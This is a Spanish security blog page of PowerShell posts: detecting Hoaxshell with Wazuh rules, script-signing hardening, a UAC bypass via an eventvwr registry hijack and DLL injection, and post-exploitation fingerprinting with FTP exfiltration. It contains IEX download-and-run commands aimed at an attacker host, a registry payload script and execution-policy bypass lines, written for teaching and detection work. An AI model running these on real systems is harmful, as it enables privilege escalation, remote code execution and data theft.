Páginas

Mostrando entradas con la etiqueta PowerShell. Mostrar todas las entradas
Mostrando entradas con la etiqueta PowerShell. Mostrar todas las entradas

31 agosto, 2022

Análisis y detección de Hoaxshell "¿una la shell indetectable?"

Hoaxshell proporciona de forma client-side una shell inversa que por el momento Microsoft Defender y posiblemente otros motores de AVs no están detectando ya que se basa únicamente en el tráfico http y https, según nos comenta su desarrollador. Aunque más adelante veremos como esto puede ser detectado a nivel de eventos de Windows y no por eventos producidos en la red.

Hoaxshell: obteniendo una shell remota

Nos descargamos el repositorio e instalamos el requirements.txt de python.
git clone https://github.com/t3l3machus/hoaxshell
cd ./hoaxshell
sudo pip3 install -r requirements.txt
chmod +x hoaxshell.py
Existen principalmente dos modos de ejecutar Hoaxshell o bien de forma normal donde hace uso del puerto 8080/http o bien usando un canal cifrado SSL usando el puerto 443/https, para este segundo es necesario generar un certificado auto firmado.
sudo python3 hoaxshell.py -s <your_ip>
Figura 1: Ejecución de hoaxshell obteniendo una shell inversa.

Buscando indicadores de compromiso para la detección de Hoaxshell

Analizando el tráfico de red

Si analizamos la comunicación de red una vez hemos lanzado el ataque de ejecución de la shell sin cifrar (8080/http) se monta un servidor web apache con una URI generada aleatoriamente donde la máquina víctima descargará el payload automáticamente cuando lo ejecute. Este es posible a través del llamada Invoke-WebRequest incluido en el payload codificado en base64 que veremos descodificado más adelante.

Figura 2: Hoaxshell sin cifrar - Detección de tráfico de red.

En el caso de lanzar el ataque con un certificado auto firmado vía 443/https en la captura de tráfico vemos el establecimiento de conexión Client Hello de TLS y el intercambio de claves en el handshake entre cliente/servidor. Por otro lado esto también nos genera un evento en el provider de Powershell en el cual vemos texto claro la decodificación del payload que se ejecutó en base64.

Figura 3: Hoaxshell cifrando - Detección de tráfico de red.

Analizando los eventos de Windows

En este parte ha colaborado el compañero @noloseconseguridad el cual ha podido identificar y crear los indicadores de compromiso para la detección de Hoaxshell.

En un primer momento revisamos de forma manual en el visor de eventos a ver que logs se están registrando relacionados con el provider de Powershell. 

Ejecutando con Hoaxshell una shell sin una comunicación cifrada encontramos en el registro "Microsft-Windows-Powershell/Operational" un evento con Id. 4103 en el que vemos un CommandInvocation seguido de un Invoke-Expression donde tenemos un parámetro con el nombre name="Command" que tiene un valor: whoami;split-path $pwd'\0x00'

Podemos saber gracias a esto, el comando ejecutado y tenemos una string la cual podemos utilizar para crear una expresión regular y generar un IOC.
;split-path $pwd'\0x00'
Figura 4: Event Id. 4103 de Powershell generado por la ejecución de Hoaxshell sin comunicación cifrada.

El payload de Hoaxshell se genera codificado en base64 tanto para obtener una shell sin cifrar como cifrada, en el caso de lanzar una shell cifrada lógicamente el tamaño del payload será más largo. Decodificando este payload podemos ver lo que está haciendo para poder invocar la shell inversa que después se nos proporciona.

Figura 5: Decodificando payload de Hoaxshell en base64.

Lanzando el ataque en su modo de comunicación cifrada vemos que nos genera en el provider de Powershell los eventos Id. 4103 e Id. 4104 mostrando en texto claro las instrucciones del scriptblock de Powershell y que coincide con la decodificación vista anteriormente en la figura 5.

Figura 6: Event Id. 4103 y 4104 de Powershell generado por la ejecución de Hoaxshell con comunicación cifrada.

Creando IOC y reglas de detección en Wazuh

En este escenario vamos a utilizar Wazuh como SIEM para la creación de los indicadores de compromiso y generar una regla de detección cuando se registre un evento relacionado con un posible ataque de Hoaxshell. Lógicamente esto puede ser exportable a otros formatos de reglas compatibles para otros sistemas de monitorización de eventos de seguridad.

En el caso de Wazuh añadimos al fichero agent.conf el provider de registro de Powershell indicando la recolección de este tipo de eventos.

Figura 7: Añadir el provider de registro Powershell/Operational.

En el fichero local_rules.xml creamos las reglas para su detección, la última regla será la que realmente nos registre el posible ataque indicando el eventID 4103 y los posibles IOCs vistos anteriormente. 
 <rule id="100535" level="0">
  <if_sid>60009</if_sid>
  <field name="win.system.providerName">^Microsoft-Windows-PowerShell$</field>
  <group>powershell,</group>
  <description>Powershell Information EventLog</description>
</rule>

<rule id="100536" level="0">
  <if_sid>60010</if_sid>
  <field name="win.system.providerName">^Microsoft-Windows-PowerShell$</field>
  <group>powershell,</group>
  <description>Powershell Warning EventLog</description>
</rule>

<rule id="100537" level="0">
  <field name="win.system.providerName">^Microsoft-Windows-PowerShell$</field>
  <field name="win.system.severityValue">^ERROR$</field>
  <group>powershell,</group>
  <description>Powershell Error EventLog</description>
</rule>

<rule id="100538" level="0">
  <if_sid>60012</if_sid>
  <field name="win.system.providerName">^Microsoft-Windows-PowerShell$</field>
  <group>powershell,</group>
  <description>Powershell Critical EventLog</description>
</rule>
  
<rule id="100540" level="12">
  <if_sid>100535</if_sid>
  <field name="win.system.eventID">4103</field>
  <field name="win.system.message" type="pcre2">(?i)powershell.exe.*-e</field>
  <field name="win.system.message" type="pcre2">(?i)Command.*;split-path.\$pwd.\\0x00</field>
  <field name="win.system.message" type="pcre2">(?i)Invoke-Expression</field>
  <description>Powershell hoaxshell detected</description>
</rule>

Por lo que se pudo comprobar y dado los indicadores de compromiso encontrados la detección es exitosa tanto si se ejecuta Hoaxshell en un modo de payload sin cifrar como con una comunicación cifrada.

Figura 8: Creación de reglas de detección e IOCs de Hoaxshell.

Con la regla guarda, ejecutamos de nuevo Hoaxshell y... bingo! vemos como nos está detectando la ejecución y generación de sesión de este tipo de shell en Powershell.

Figura 9: Alerta en la ejecución de un "Powershell hoaxshell detected"

Conclusiones

Podemos decir entonces que "esa shell indetectable" quizás no lo es tanto. Si bien es cierto que actualmente no está siendo detectada automáticamente por Microsoft Defender como protección por defecto en un sistema Windows y es posible que otros motores de antivirus tampoco lo estén haciendo hay que saber que estableciendo unas políticas de auditoría habilitadas en las máquinas, prácticamente todo deja un rastro que se acaba traduciendo en un evento o registro de log del sistema.

Sobre el tipo de payload cifrado o sin cifrar que podemos generar con Hoaxshell vemos que a nivel de evento de sistema es detectable, sin embargo a nivel de comunicación de red es realmente donde está su ventaja ya que en una comunicación sin cifrar podemos identificar la URI que genera pero en una comunicación cifrada la comunicación es TLS y no podría ser leída en un primer intento de detección.

Personalmente me resulta curioso que MS Defender no esté detectando una simple ofuscación codificada en base64 a través de Powershell y que su vez no haga un monitoreo continuo de los eventos registrados donde se encuentran decodificados. Aunque estoy seguro de que Microsoft no tardará mucho en poner solución a esto y más con el revuelo que está habiendo actualmente con Hoaxshell y su facilidad de uso.

Con la colaboración de @noloseconseguridad.

Saludos!

25 marzo, 2021

Firmar scripts PowerShell [Parte 2 de 2]: Entidad de certificación CA (ADCS), despliegue de certificado vía GPO e integridad de firma

Firmar scripts PowerShell

Continuando con el artículo sobre como firmar scripts PowerShell estableciendo una política de ejecución AllSigned. En este post comentaré como hacer uso de las plantillas de certificados para el propósito de "Firma de código" emitidas por una Entidad de certificación CA implementada en un entorno de dominio haciendo uso del servicio ADCS (Active Directory Certificate Services), desplegando el certificado vía GPO y finalmente realizar una comprobación de integridad del script PowerShell firmado.

CA raíz y CA subordinadas

La CA raíz contiene la clave privada de toda la jerarquía de certificados, si un atacante obtuviera este certificado o emite un certificado para una entidad no autorizada, se compromete la seguridad basada en el certificado de la organización de todos los certificados que se han emitido en esa jerarquía.

Lo ideal y por seguridad sería disponer de una CA raíz que emita certificados para una CA subordinada, de modo que no se exponga directamente el primer nivel de certificado de la CA raíz, las CA subordinadas requieren una jerarquía de PKI establecida.

Entidades de certificación: empresarial e independientes

  • Entidad de certificación empresarial: Deben pertenecer al dominio, se suele utilizar cuando es necesario emitir muchos certificados y aprobarlos rápidamente para un entorno de dominio Active Directory.
  • Entidad de certificación independiente: Pueden pertenecer a un grupo de trabajo o a un dominio. No requieren de ADDS, se suele utilizar para emitir certificados directamente a los clientes. Dado que no tiene el certificado raíz, ofrece una mayor seguridad. La desventaja es que todos los certificados que se emiten deben ser aprobados.

Descripción del escenario para este lab

Por motivo de falta de recursos y no desplegar una CA subordinada, para estos ejemplos se hará uso únicamente de una CA raíz tipo empresarial ya implementada con el nivel de confianza máximo en la jerarquía de PKI de la organización y un equipo Windows 10 unido al dominio en el que se probará la ejecución de scripts PowerShell firmados donde se le aplicará una GPO con el certificado necesario. 

Entidad de certificación CA (ADCS) y plantilla de Firma de código

Esto sería opcional pero para tener un control de permisos podemos crear un nuevo grupo en AD para este fin y asignarlo desde la consola de "Plantillas de certifiado" (certtmpl.msc) a la plantilla de que tiene como propósito la "Firma de código". De modo que todos los usuarios/grupos que formen parte del grupo añadido tengan permisos para poder solicitar esta plantilla a la entidad de certificación desde las propia consola local de administración de certificados de usuario (certmgr.msc).

Figura 1: Asignación de permisos a la plantilla de certificado "Firma de código".

Desde la consola de "Entidad de certificación" (certsrv.msc). Emitimos la publicación de una nueva plantilla de certificado "Firma de código".

Figura 2: Emitir plantilla de certificado "Firma de código" desde una Entidad de certificación CA.

Es el momento de solicitar un certificado para "Firma de código". Esto lo haremos desde el propio almacén de certificados de Windows (certmgr.msc) y con un usuario que tenga permisos para poder solicitar el certificado de Firma de código a la Entidad de certificación.

Figura 3: Solicitar a la CA un certificado de Firma de código. 

Una vez solicitado, exportamos el certificado en formato .cer.

Figura 4: Exportar el certificado .cer con propósitos de Firma de código.

Despliegue de certificado vía GPO

Para que el resto de equipos del dominio dispongan del certificado .cer en su almacén de certificados, se crea una nueva GPO desde la consola de Administración de directivas de grupo (gpmc.msc). 

A nivel de directiva de equipo, importamos el certificado .cer en el almacén de "Editores de confianza" (Trusted Publishers). Es importante que esté importado en este almacén, de lo contrario la ejecución de scripts PowerShell firmados en cualquier máquina unida al dominio y que tenga establecida una política de ejecución de scripts en modo AllSigned nos arrojará un mensaje de advertencia inicial (como se muestra en la Figura 7).

Figura 5: Desplegar certificado para firma de código vía GPO. 

Firmar scripts PowerShell con un certificado tipo "Firma de código"

Con el mismo usuario que hemos solicitado el certificado, firmamos un script PowerShell. Si visualizamos el fichero de script vemos que se ha incluido una firma complementaria al final del código.
Get-AuthenticodeSignature -FilePath .\MyScript.ps1
$cert = Get-ChildItem -Path Cert:\CurrentUser\My -CodeSigningCert
Set-AuthenticodeSignature -FilePath MyScript.ps1 -Certificate $cert
Figura 6: Firmar y ejecutar script PowerShell desde el mismo usuario.

Ejecución del script firmado en otro equipo y usuario del dominio

Probamos a ejecutar el script firmado desde otro usuario y equipo unido al dominio, en este caso un cliente Windows 10 con la política de ejecución de scripts establecida en AllSigned.

Como vemos en la siguiente captura, hay posibilidad de ejecutar el script pero nos muestra un advertencia indicando que el certificado no está importado en el almacén de "Editores de confianza" (Trusted Publishers). Por esta razón lo comentado en el punto anterior de la figura 5. De momento cancelamos la ejecución (ctrl+c).

Figura 7: Ejecutar script PowerShell desde otra máquina y usuario del dominio (sin certificado importado).

Para importar el certificado en el almacén local de la máquina realizamos un forzado de la actualización de políticas (gpupdate /force). Una vez tenemos el certificado ya importado a través de la aplicación de la GPO creada en la Figura 5, podemos observar que al volver ejecutar el script firmado ya no se muestra ninguna advertencia.

Lógicamente si ejecutamos un script no firmado (MyScript_noSigned.ps1) se nos mostrará el mensaje de error común debido a la restricción aplicada AllSigned en la política de ejecución de scripts.

Figura 8: Ejecutar script PowerShell desde otra máquina y usuario del dominio (con certificado importado).

Comprobación de la integridad de firma en scripts PowerShell

¿Qué pasa si se modifica el código del script firmado?

Para realizar la verificación de integridad de la firma del script se modifica el código del script firmado y se vuelve a comprobar el estado del certificado. 

Si ejecutamos el script después de modificarlo se nos muestra un error indicando que "es posible que alguien no autorizado haya modificado el contenido del archivo", comprobamos nuevamente la firma del fichero y veremos un estado HashMismatch indicando claramente que se ha modificado rompiendo su integridad respecto a la firma.

Será necesario volver a firmarlo con el mismo certificado, generando así una nueva firma asignada al script. 

Figura 9: Modificar script PowerShell firmado para comprobar su integridad.

Saludos!

09 febrero, 2021

Firmar scripts PowerShell [Parte 1 de 2]: Hardening en la política de ejecución

Firmar scripts PowerShell

Por motivos de seguridad Windows PowerShell establece unas políticas de ejecución de scripts. Con el fin de evitar posibles ejecuciones de scripts no deseadas. Para poder ejecutar scripts en PowerShell sin problemas, se tendrá que cambiar la política de ejecución (ExecutionPolicy). Por defecto no están definidas y vienen deshabilitadas (Restricted) para todos los scopes.

En un escenario en el que formemos parte de un dominio y deseemos ejecutar scripts PowerShell para la realización de tareas en los endpoints o servidores del parque equipos de la organización. En la mayoría de los casos me encuentro con la "solución" sencilla y poco idónea. Se trata de aplicar un GPO estableciendo la política de ejecución en modo Unrestricted en las máquinas afectadas. Esto deja vía libre a cualquier usuario para que pueda comprometer la máquina sin ningún tipo de restricción.

Aplicar un hardening en la política de ejecución de scripts PowerShell

Lo más correcto en estos casos sería aplicar esta GPO en un modo AllSigned y firmar con un certificado de confianza todos los scripts que vayan ser ejecutados aplicando así un hardening en la política de ejecución de scripts de forma que sean seguros y confiables en entornos corporativos. 

Si disponemos de una PKI de una entidad de certificación ADCS (Active Directory Certificate Services) podremos generar un certificado específico para este fin y propagar este certificado a través de GPO.

Para los siguientes ejemplos usaré un certificado autofirmado.

Modos de la política de ejecución (ExecutionPolicy):

  • Restricted: Bloquea todos los scripts en PowerShell y hace que todas las tareas deban ejecutarse de forma interactiva, nada automático. Es la política por defecto.
  • Unrestricted: Puede ejecutar cualquier script, sin restricciones. Si se ejecuta un script sin firmar muestra una advertencia al usuario.
  • RemoteSigned: Puede ejecutar scripts que han sido creados en la máquina local sin ser firmados. Pero los paquetes descargados deben estar firmados antes de poder instalarlos. Conlleva el riesgo de que no es necesario que los scripts locales vayan firmados digitalmente. Para ejecutar scripts descargados de internet (sin firmar) es necesario usar la opción Unblock-File. Es la política por defecto para Windows Server.
  • AllSigned: Solo puede ejecutar paquetes y scripts firmados digitalmente por un publicador de confianza, incluidos los scripts escritos en el equipo local.
  • Bypass: Similar a Unrestricted, con la diferencia de que no alerta de riesgos al usuario. Suele utilizarse en integraciones de PowerShell con otras aplicaciones, en las que funciona en una capa inferior, dado que dichas aplicaciones cuentan con un modelo de seguridad propio.
  • Undefined: No se establece explícitamente ninguna de las directivas anteriores. Por defecto sería Restricted.
  • Default: Establece la política de ejecución predeterminada. Restricted para clientes de Windows y RemoteSigned para Windows Server.
Tipos de ámbitos de la política de ejecución (Scopes):
  • MachinePolicy: Establecido por una política de grupo para todos los usuarios de la máquina.
  • UserPolicy: Establecido por una política de grupo para el usuario actual de la máquina.
  • Process: Afecta solo a la sesión actual de PowerShell.
  • CurrentUser: Afecta solo al usuario actual.
  • LocalMachine: Alcance predeterminado que afecta a todos los usuarios de la máquina.

Get-ExecutionPolicy -List
Set-ExecutionPolicy AllSigned -scope LocalMachine -Force

Figura 1: Políticas de ejecución de scripts PowerShell.


Bypass de la política de ejecución de un solo script

En el caso de que las políticas de ejecución estén en un modo Undefined y por lo tanto es como si estuvieran en Restricted. Si queremos ejecutar un script en esa misma sesión o contexto de ejecución podemos usar el modo Bypass

PowerShell.exe -ExecutionPolicy Bypass -File \.MyScript.ps1

También sería lo mismo.

powershell -ep Bypass .\MyScript.ps1

Figura 2: Bypass para la ejecución de un solo script.


Firmar un script PowerShell

Referencia: Set-AuthenticodeSignature

Firmar con un certificado del almacén de certificados local

$cert = Get-ChildItem -Path Cert:\CurrentUser\My -CodeSigningCert
Set-AuthenticodeSignature -FilePath MyScript.ps1 -Certificate $cert
Figura 3: Firmar con un certificado del almacén local.

Firmar un script usando un certificado de un archivo PFX

$cert = Get-PfxCertificate -FilePath C:\Certs\MySign.pfx
Set-AuthenticodeSignature -FilePath MyScript.ps1 -Certificate $cert
Figura 4: Firmar usando un un certificado .pfx.

Agregar una firma que incluya la autoridad certificación raíz (CA)

$cert = Get-PfxCertificate -FilePath C:\Certs\MySign.pfx
Set-AuthenticodeSignature -FilePath MyScript.ps1 -Certificate $cert -IncludeChain All -TimestampServer "http://timestamp.globalsign.com/scripts/timstamp.dll"

  • IncludeChain: Incluye todas las cadenas de confianza de la autoridad raíz.
  • TimeStampServer: Agrega una marca de tiempo a la firma. Esto evita que el script falle cuando caduque el certificado. 
Figura 4: Agregar una firma que incluya la autoridad raíz.


Obtener información de la firma de un script firmado

Referencia: Get-AuthenticodeSignature

Get-AuthenticodeSignature .\MyScript.ps1 | Format-List *

Figura 5: Obtener información de la firma de un script firmado.


Crear un certificado autofirmado para realizar pruebas

Referencia: New-SelfSignedCertificate

New-SelfSignedCertificate -FriendlyName "Zona System ejemplo firma de código" -CertStoreLocation Cert:\CurrentUser\My -Subject "Zona System" -Type CodeSigningCert

Figura 6: Crear certificado autofirmado para pruebas.

Ejemplo de ejecución de script firmado

Estableciendo la política de ejecución de scripts de PowerShell en AllSigned.

Figura 7: Ejemplo de ejecución de script firmado.

Saludos!

14 mayo, 2020

Bypass UAC usando DLL injection en taskmgr.exe aprovechando un fileless de eventvwr.exe (Vídeo PoC)

En un artículo anterior hablara de un bypass fileless en el binario sdclt.exe, también comentara la posibilidad de realizar este método al binario eventvwr.exe. En esta ocasión mostraré como realizar un bypass de UAC usando un DLL Injection aprovechando un método tipo fileless.

Bypass UAC tipo DLL Hijacking

Existen varios tipos de técnicas DLL Hijacking (sideloading, proxying, phantom), la finalidad es conseguir una escalda de privilegios o persistencia en un sistema. Consiste en hacer un "secuestro" de una DLL por la suplantación de otra DLL que ejecute un código arbitrario que le interese a un atacante. 

Cuando se invoca un proceso binario, este busca en los path por defecto configurados en el sistema en un determinado orden de consultas, si la DLL no es encontrada seguirá buscando en la siguiente ruta hasta encontrar la que necesita. Será en ese momento cuando un atacante se anticipe suplantando la DLL original, que no es encontrada en los paths habituales, por la DLL maliciosa. Si el binario se ejecuta en un contexto de integridad alto se consigue el mismo privilegio para esa DLL.

Es la misma idea que las técnicas fileless, teniendo en cuenta el atributo autoElevate a true en el manifest del binario y teniendo una política por defecto de UAC en Windows. 

DLL hijacking requiere escritura en disco por lo que no es tan silencioso como las técnicas fileless, pudiendo no pasar desapercibido por la detección de antivirus.

Como dije hay varios tipos de técnicas DLL hijacking, entre todas ellas está presente la inyección de una DLL, dependerá del contexto en el que se usen y la forma de aplicarlas. Una diferenciación podría ser algo como: 
  • DLL Hijacking: "Suplantación" -secuestro- de una carga DLL existente en el proceso de ejecución de un binario.
  • DLL Injection: Fuerza la inyección de una nueva DLL en el proceso de un binario previamente en ejecución.

Aprovechando un bypass UAC fileless para usar DLL injection en binarios que no son vulnerables a fileless

En el siguiente escenario no se realiza un DLL Hijacking, sino que se fuerza la inyección de una DLL maliciosa en un proceso binario existente.

Trataré de explicarlo brevemente. La intención es llevar a cabo una explotación local bypassuac sin ningún tipo de interacción por parte del usuario en la máquina comprometida aprovechando la debilidad fileless de casos como eventvwr.exe a otros binarios del sistema que tengan en su manifiesto el atributo AutoElevate a True pero que de forma simple no tienen un bypass tipo fileless, como es el caso de taskmgr.exe. Al ser un binario que se ejecuta en un contexto de integridad alto, se inyectará una DLL maliciosa que contendrá un payload con un Meterpreter estableciendo así una sesión privilegiada en la que podemos impersonar al usuario consiguiendo privilegios de NT AUTHORITY\SYSTEM.

Resumen de pasos del proceso:
  1. Para obtener la sesión inicial de conexión a la máquina remota, se crea con msfvenom un binario que tendrá como payload un Meterpreter Windows 10 x64. Esto nos devolverá una sesión en contexto de integridad medio por lo que no podemos impersonar al usuario con getsystem y elevarnos a SYSTEM.
  2. ¿Por qué el binario taskmgr.exe?. Comprobando el manifiesto del binario el atributo autoElevate está a true. Pero no existe bypass fileless para taskmgr.exe, sin embargo si para eventvwr.exe.
  3. Desde la sesión Meterpreter cargamos los módulo Powershell y desde powershell_run se ejecuta el proceso del taskmgr.exe en modo oculto (-WindowStyle Hidden).
  4. Se consulta el PID del proceso taskmgr.exe y se modifica en el script de la función Invoke-DllInjection alojada en un servidor web apache2 de la máquina Kali, este será el script que se ejecutará cuando se invoque el binario eventvwr.exe.
  5. Desde powershell_import importamos el un script "eventvwr-reg.ps1" que creará la estructura de ramas del registro necesario para provocar el bypass fileless de eventvwr.exe, en su valor Default tendrá como dato un IEX (Invoke-Expression) con la creación de un nuevo objeto tipo WebClient que descargará en memoria la función Invoke-DllInjeciton de PowerSploit en una línea final del script se invoca esta función con el PID del proceso de taskmgr.exe que previamente hardcodeamos.
Script eventvwr-reg.ps1
$path = "HKCU:\Software\Classes\mscfile\shell\open\command"
$execute = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c `"IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.1/codes/invoke-dllinjection.txt')`""
New-Item -Path $path -Force
New-ItemProperty -Path $path -Name '(Default)' -PropertyType String -Value $execute -Force | Out-Null
  • 6. Desde Meterpreter con el comando Upload se envía la DLL que nos interesa a la máquina remota (en escritorio simplemente para que sea visible en momento de mostrar esta demo). Esta DLL contiene un shellcode de Meterpreter.
  • 7. Siguiendo en la sesión 1, desde powershell_shell manualmente se inicia el proceso del visor de eventos, ejecutando así el eventvwr.exe que también ejecutará el IEX y descargará la función en memoria con la instrucción del PID asignado del proceso taskmgr.exe ejecutado anteriormente de forma oculta.
  • 8. Finalmente se establecerá una nueva sesión Meterpreter pero esta vez la sesión establecida en el contexto de integridad alto del proceso de taskmgr.exe, como este tenía un autoElevate a true, podremos ahora impersonar al usuario en la segunda sesión Meterpreter y conseguir la escalada de privilegios a SYSTEM.

Vídeo demo - PoC

En el siguiente vídeo se muestran los pasos anteriores en detalle, llegando a entender mejor el proceso.



Saludos!

08 mayo, 2020

Fingerprinting con PowerShell y envío de información a un servidor FTP (Vídeo PoC)

En un pentesting interno a sistemas, después de la fase de enumeración y poder comprometer una máquina Windows, es fundamental intentar recopilar la máxima información posible sobre dicha máquina, lo que se conoce como la fase de fingerprinting dentro de una post-explotación.

El uso de Powershell nos ayuda principalmente en las fases de post-explotación y fingerprinting para la recolección de información del sistema, usuarios y grupos locales, parches instalados, procesos en ejecución, servicios activos, etc.

En esta ocasión dejo referencia a un script que contiene una función de ejemplo recopilando varios datos de una máquina comprometida y posteriormente enviando estos datos de retorno a un servidor FTP escuchando en la máquina atacante.

Referencia del script Powershell en mi repositorio de Github:

Bypass ExecutionPolicy en Powershell usando funciones

Existen multitud de técnicas para la evasión de la política de ejecución de scripts en Powershell, sobre esto hablaré en otro artículo. Una de ellas es a través del uso de funciones y como se cargan en memoria en el provider de funciones.

Al usar una función a través de un script ps1, podemos importar este script a través de una sesión Meterpreter de Metasploit, cargándose en memoria en el provider de funciones de esa instancia Powershell de la máquina remota. No será necesario subir el script a la máquina remota escribiendo en disco, evitando así una posible detección por parte de los antivirus. Es script llevará como extensión .txt y estará alojado en un servidor web apache2, la forma de importarlo será a través del módulo powershell_shell de Meterpreter, una vez conectados ejecutamos un IEX (Invoke-Expression) con el cmdlet Invoke-WebRequest.
# Powershell v1.0/v2.0
IEX (New-Object Net.WebClient).DownloadString('http://web/script.txt')

# Powershell v3.0 y superiores
IEX (Invoke-WebRequest -Uri 'http://web/script.txt' -UseBasicParsing)
Con una función cargada en memoria podremos hacer un bypass de la política de ejecución de scripts de Powershell, independientemente de cual esté establecida en la máquina remota. 

En el siguiente vídeo se observa como la ExecutionPolicy está establecida en Restricted e igualmente podemos importar el script e invocar la función cargada en memoria.

Vídeo demo - PoC

He grabado un vídeo demo que muestra la PoC en la que se compromete una máquina en una fase de explotación típica a través de un fichero que contendrá el Payload de un Meterpreter y que estaremos a la escucha desde el handler de conexiones para establecer una sesión en Metasploit. Se importa el script en formato .txt con un método Invoke-WebRequest (en este caso el formato no tiene demasiada relevancia podría ser directamente .ps1), de esta forma haremos un bypass de la política de ejecución de Powershell en el caso de que estuviese en modo "Restricted". Este script se cargará como una función en memoria, invocándola desde ahí y evadiendo así la política de ejecución de script, recopilará información y la enviará de vuelta a un servidor FTP que estará a la escucha e la máquina Kali.

Vídeo: https://youtu.be/JY33NkpAaeI


Saludos!

18 enero, 2020

Auditar inicios de sesión erróneos ID 4625 y notificarlos vía email

Una forma de auditar los errores de accesos de inicio de sesión o login a un sistema Windows ya sean accesos físicos, en remoto mediante RDP, recursos compartidos CIFS o llamadas a procedimientos remotos RPC como pueden ser el acceso a consolas msc de equipos remotos. Se considerarán inicios de sesión en una máquina Windows.

Este artículo se centrará en la auditoria de todos los accesos erróneos de login a un sistema pero en especial irá enfocado a los intentos de inicios de sesión RDP desde equipos remotos y la notificación de este evento vía un mensaje de correo electrónico de forma automática.

Para ello será necesario habilitar en el equipo la directiva local de auditoria de eventos de inicio de sesión a través de la consola gpedit.msc.
Configuración del equipo > Configuración de Windows > Configuración de seguridad > Directivas locales > Directiva de auditoria > Auditar eventos de inicio de sesión > Habilitar inicios erróneos.
Figura 1: gpedit.msc - Auditar eventos de inicio de sesión erróneos.

Abrimos el visor de eventos (eventvwr.msc), registros de Windows, Seguridad. El evento con Id. 4625 registra las auditorias por inicio de sesión erróneos.

Creamos una tarea programada desde cualquier evento con ese Id. y establecemos un fichero .bat que llamará a otro fichero Powershell .ps1 que será el que realice el envío de email y lo filtre con una consulta para que nos devuelva el último evento registrado. Este punto lo veremos más adelante.

Figura 2: eventvwr.msc - Creación de tarea programada de un evento con un Id. concreto.

En el programador de tareas (taskschd.msc) vemos que se crea una nueva sección para las tareas creadas a través del visor de eventos.

Esta tarea debe ejecutarse con un usuario que forma parte del grupo de administradores locales del sistema ya que para poder consultar un evento de auditoria del tipo de "Seguridad" como es un evento con Id. 4625 es necesario un usuario privilegiado.

Figura 3: taskschd.msc - Tarea programada creada automáticamente a partir del evento de seguridad con Id. 4625.

Comentar que podemos también optar por crear y configurar la tarea programada manualmente. Como desencadenador elegimos iniciar la tarea al producirse un evento del tipo de registro "Seguridad" e indicamos el Id. del evento 4625.

Figura 4: Desencadenador de la tarea programda al producirse un evento del tipo seguridad con Id. 4625.

wevtutil (Windows Event Utility) es la utilidad en línea de comandos que nos mostrará la información de los eventos registrados de Windows.

Para mostrar el último evento registrado del tipo Seguridad con un Id. específico, en este caso 4625. Haremos la siguiente consulta:
wevtutil query-events Security /count:1 /rd:true /format:text /q:"Event[System[(EventID=4625)]]"
La siguiente línea corresponderá al fichero "call-ps1-eventvwr-id_4625.bat" que hará la llamada al fichero Powershell "id_4625.ps1". Este fichero bat será el la acción de la tarea programada.
powershell.exe -file "C:\scripts\envio_emails_eventvwr\id_4625.ps1"
El script Powershell id_4625.ps1 sería el siguiente, modificamos con nuestros valores los campos myEmail, myPassword y pathTempWevtutil será el path en el que se creará un fichero temporal con la salida de la consulta del evento, después se borrará.
$usuarioEmail = "myEmail@gmail.com"
$passwdEmail = "myPassword"
$pathTempWevtutil = "C:\temp\temp_wevtutil"
$secPasswdEmail = ConvertTo-SecureString $passwdEmail -AsPlainText -Force
$credencialesEmail = New-Object System.Management.Automation.PSCredential ($usuarioEmail, $secPasswdEMail)
$asuntoEmail = "ID 4625: Inicio de sesion incorrecto"
$wevtutil = wevtutil query-events Security /count:1 /rd:true /format:text /q:"Event[System[(EventID=4625)]]" | findstr /V "puerto" | findstr "cuenta: trabajo: Direcci" > "$pathTempWevtutil"
$cuerpoEmail = Get-Content "$pathTempWevtutil" -Tail 5 | Out-String

Send-MailMessage -From $usuarioEmail -To $usuarioEmail -Subject "$asuntoEmail" -Body "$cuerpoEmail" -SmtpServer "smtp.gmail.com" -Port "587" -UseSsl -Credential $credencialesEmail
Remove-Item -Path "$pathTempWevtutil" -Force
exit
Para habilitar el envío de correos SMTP a través de una cuenta con dominio Gmail será necesario habilitar el "Acceso de aplicaciones poco seguras". https://myaccount.google.com/lesssecureapps.

Esto tiene ciertos riesgos de seguridad, aconsejo crear una nueva cuenta de correo específica destinada para este uso y la realización de esta tarea.

En la siguiente captura se muestra un ejemplo del asunto y cuerpo del correo para la notificación de estos eventos. Mostrando el nombre de la cuenta desde la que se intentando iniciar sesión, el dominio o hostname, hacia que dirección IP se inicio sesión (sería la máquina local donde se registra el evento de seguridad) y desde que dirección origen ya sea una dirección IP privada o pública.

Figura 5: Ejemplo de mensaje de correo del evento de seguridad Id. 4625.


Saludos!

16 noviembre, 2019

Passwords cracking en Windows de hashes NTLM ntds.dit de Active Directory

Antes de empezar con la parte práctica de password cracking en sistemas Windows, es recomendable un breve resumen sobre las diferencias entre los tipos de hashes de contraseñas (LM, NTHash o NTLM, NTLMv1, NTLMv2) que almacena Windows en su base de datos local SAM (Security Account Manager) o NTDS.DIT (NT Directory Services) si se trata de controladores de dominio de Active Directory.

Existen dos medios de los cuales se puede realizar la extracción de hashes:
  1. Desde un volcado de memoria en caliente. Por ejemplo MimikatzHot Potato o CrackMapExec (con el parámetro --lsa). Este método no es válido a partir de Windows Server 2016 ya que se implementa la característica de Credential Guard basada en virtualización para LSASS. Sin embargo sigue siendo válido para versiones clientes hasta la actual Windows 10.
  2. Desde un volcado de un fichero de disco como son: La base de datos SAM (%systemroot%\system32\config) en Windows de forma local como NTDS.dit (%systemroot%\NTDS) en el caso de un controlador de dominio de Active Directory, como veremos en esta entrada. 

LM Hash (Lan Manager)

Usado en sistemas Windows 2000/2003 aunque por retrocompatiblidad pueden ser usados en versiones posteriores de Windows. LM es débil e inseguro por diseño, teniendo en cuenta la velocidad de computo de los sistemas actuales, son capaces de probar cientos de miles de contraseñas por segundo por lo que su cifrado lo hace totalmente vulnerable en ataques de fuerza bruta.

Su algoritmo convierte todo de minúsculas a mayúsculas (uppercase) haciendo así un ataque enfocado a este tipo de caracteres, reduciendo las posibles combinaciones y el tiempo de cálculo.

Si la contraseña es inferior a 7 caracteres se rellena con caracteres NULOS. Y las contraseñas no pueden ser superiores a 14 caracteres.

